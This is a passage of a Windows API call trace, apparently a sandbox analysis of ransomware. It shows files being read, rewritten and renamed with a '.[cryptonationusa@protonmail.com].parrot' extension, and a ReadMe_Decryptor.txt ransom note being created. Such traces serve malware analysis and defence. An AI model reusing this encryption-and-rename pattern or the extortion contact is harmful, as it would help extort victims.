hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9790 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22de080 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9790 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0193.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0193.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0193.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0193.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0193.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x22fa070 [0193.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2308130 [0193.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa070 | out: hHeap=0x5b0000) returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31d64b0 [0193.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2308130 | out: hHeap=0x5b0000) returned 1 [0193.662] WriteFile (in: hFile=0x288, lpBuffer=0x31d64c0*, nNumberOfBytesToWrite=0x6028, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x31d64c0*, lpNumberOfBytesWritten=0x18e604*=0x6028, lpOverlapped=0x0) returned 1 [0193.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0193.667] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6018, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0193.667] CloseHandle (hObject=0x288) returned 1 [0193.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0193.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x645788 [0193.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0193.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.669] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645788 | out: hHeap=0x5b0000) returned 1 [0193.670] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0193.670] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23000f0 | out: hHeap=0x5b0000) returned 1 [0193.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b49d0 [0193.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0193.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0193.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0193.672] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.672] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.673] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14078, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x14078, lpOverlapped=0x0) returned 1 [0193.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0193.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0193.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0193.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0193.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0193.675] GetLastError () returned 0x0 [0193.677] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0193.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0193.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0193.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0193.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0193.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0193.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0193.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0193.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0193.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0193.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0193.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0193.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9790 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22de080 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9790 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31d64b0 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31d9448 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31ddb98 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d9448 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x22fa070 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ddb98 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31d64b0 [0193.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa070 | out: hHeap=0x5b0000) returned 1 [0193.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x3206530 [0193.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0193.680] WriteFile (in: hFile=0x288, lpBuffer=0x3206540*, nNumberOfBytesToWrite=0x14198, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x3206540*, lpNumberOfBytesWritten=0x18e604*=0x14198, lpOverlapped=0x0) returned 1 [0193.682] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3206530 | out: hHeap=0x5b0000) returned 1 [0193.682] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14190, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0193.682] CloseHandle (hObject=0x288) returned 1 [0193.683] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0193.683] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x645788 [0193.683] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0193.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimagemask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645788 | out: hHeap=0x5b0000) returned 1 [0193.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0193.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64f0 | out: hHeap=0x5b0000) returned 1 [0193.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b49d0 [0193.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0193.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0193.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0193.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0193.685] GetFileType (hFile=0x288) returned 0x1 [0193.685] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0193.696] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.696] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.743] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.744] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x122, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x122, lpOverlapped=0x0) returned 1 [0193.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0193.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0193.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0193.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0193.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0193.744] GetLastError () returned 0x0 [0193.745] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9790 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0193.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x248) returned 0x5d1760 [0193.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9790 | out: hHeap=0x5b0000) returned 1 [0193.746] WriteFile (in: hFile=0x288, lpBuffer=0x5d1760*, nNumberOfBytesToWrite=0x248, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x5d1760*, lpNumberOfBytesWritten=0x18e604*=0x248, lpOverlapped=0x0) returned 1 [0193.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0193.750] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0193.750] CloseHandle (hObject=0x288) returned 1 [0193.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228fc50 [0193.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x22e9790 [0193.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228fc50 | out: hHeap=0x5b0000) returned 1 [0193.750] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9790 | out: hHeap=0x5b0000) returned 1 [0193.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0193.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6049a8 | out: hHeap=0x5b0000) returned 1 [0193.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b49d0 [0193.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0193.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0193.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0193.756] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.756] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.758] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.758] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9b6, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9b6, lpOverlapped=0x0) returned 1 [0193.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0193.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0193.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0193.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0193.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0193.758] GetLastError () returned 0x0 [0193.759] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0193.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0193.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 